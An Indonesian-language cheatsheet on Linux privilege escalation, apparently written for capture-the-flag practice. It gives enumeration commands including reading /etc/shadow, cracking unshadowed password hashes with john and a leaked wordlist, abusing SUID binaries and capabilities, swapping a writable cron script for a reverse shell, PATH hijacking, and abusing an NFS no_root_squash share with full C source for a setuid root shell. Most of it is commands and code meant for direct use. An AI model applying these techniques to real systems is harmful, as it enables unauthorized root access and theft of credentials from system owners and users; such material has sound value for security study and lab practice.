---
description: made by <3 with replican
---

# Linux Privilege Escalation

halo jadi aku akan membagi cheatsheet untuk linux privilage escalation hehe.&#x20;

## Enumerating Linux

nah di linux itu ada kernel , os versi dll. kalian dapat mengenumerasi nya dengan command2 dibawah ini

```bash
hostname
cat /etc/issue
uname -a
id
whoami
cat /etc/passwd
cat /etc/shadow
```

## Sudoers and Suid

untuk cek kita sudoers apa bkn bs pake ini

```bash
sudo -l
```

nah kalau kalian pakai itu nanti muncul prompt input password. nah kalo kalian dalam keadaan revshell dan gtw passwordnya apa bisa pakai ini

```bash
find / -type f -perm -04000 -ls 2>/dev/null
```

nah kalau sudah dapet list binary nya, bisa di cek binary yg biasanya bisa di takeover sudonya lgsg ke gtfobins saja : [https://gtfobins.github.io/gtfobins](https://gtfobins.github.io/gtfobins)

## Crack password

kita tau kalo password itu kesimpen di /etc/shadow. gmn si kita crack passwordnya? kita bs pake john&#x20;

pertama kita unshadow dlu seperti ini :

<figure><img src="https://945112445-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbrxXzY5PMGua4UW86ukK%2Fuploads%2FtlDRh3GJWxb5f6MMBj6g%2Fimage.png?alt=media&#x26;token=b238cc89-b0e1-41e1-8eb8-5fc203f208ef" alt=""><figcaption></figcaption></figure>

nah kalo sudah tinggal pakai john dan wordlist. bisa juga bruteforce attack. rulesny kalian bs buat sendiri

```bash
// ganti wordlistnya ke pathmu sendiri
john unshadowed.txt --wordlist=/home/replican/Desktop/Prod/CyberSecurity/seclists/Passwords/Leaked-Databases/rockyou.txt
```

## Capabilities

check binary capabilities&#x20;

mungkin ni prosesnya aga lama

```bash
getcap -r / 2>/dev/null
```

untuk kalo udh cek binary, ada yg sus lgsg ke gtfobins bagian capabilities.

## Cron Jobs

cron job itu kaya scheduled task, script/command yg akan dieksekusi dalam setiap kurun waktu yg ditentukan bs permenit perjam perminggu dll

check crontab yg jalan

```bash
cat /etc/crontab
```

misal yg jalan itu python / bash script dan kamu dpt mengubahnya km tinggal ubah ke reverse punyamu dan km tunggu crontabnya jalan abis kejalan nnti revshell yg di sc abis km edit juga jalan.

refferensi revshell : [https://www.revshells.com/](https://www.revshells.com/)

bs juga kalo misalnya cron ke file yg udh gada / didelete km tinggal buat file nya di user mu skrg&#x20;

## Exploiting Path

path itu path yang ada di system istilahnya bs buat shortcut / alias. kalian bisa cek nya pake

```bash
echo $PATH
```

misal outputnya

`/home/replican/.cargo/bin:/usr/local/sbin:/usr/local/bin:/usr/bin:/home/replican/.foundry/bin:/var/lib/flatpak/exports/bin:/usr/lib/jvm/default/bin:/usr/bin/site_perl:/usr/bin/vendor_perl:/usr/bin/core_perl:/usr/lib/rustup/bin:/var/lib/snapd/snap/bin:/home/replican/.local/share/bin`



jadi semua folder yang ada di dalam path akan menjadi shortcut. misal di folder `/home/replican/.cargo/bin`

nah semua binary yg disitu akan tershortcut, jadi misal ada binary yang ngecall binbash bernama 'test' kita lgsg bisa panggil di terminal ketik aja test

jadi kalo ada binary yg setuid ke root/user lain dan menjalankan binary shortcut yg ditentukan path kita bisa mengtakeovernya

untuk enumerasi writeable folder bisa pakai ini

```bash
find / -writable 2>/dev/null
```

untuk menambahkan path baru  ( ganti /tmp dgn writeable directory yg lain jika perlu )

```bash
export PATH=/tmp:$PATH
```

## NFS ( Sharing Folder )

nah kadang di server itu ada nfs atau sharing folder ini untuk backup. kalian bisa mount ke machine kalian dan abis itu buat rootkit. misal abis di mount ke machine kita kita set binarynya by root terus chmod 4775 jadi di machine juga auto gitu. jadi kita tinggal jalanin rootkit yg kita mount di machine kita nanti di machine juga auto kepasang.

untuk enumerasi apa ada nfs di server bisa pakai

```bash
cat /etc/exports
```

nah kalo ada yang no\_root\_squash nah pasti vuln ini buat kita pasang rootkit

```bash
showmount -e <ip>
```

nah hbs itu kita mount ke punya kita, contoh:

```bash
sudo mount -o rw 10.10.166.215:/home/backup /tmp/thm/
```

habis itu kita compile rootkit di machine kita&#x20;

```c
// gcc -o /tmp/rootshell /tmp/rootshell.c
// chmod 4775 /tmp/rootshell

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
setuid(0); setgid(0); system("/bin/bash");
}
```

nah nnti muncul di server jalanin lgsg dpt root.

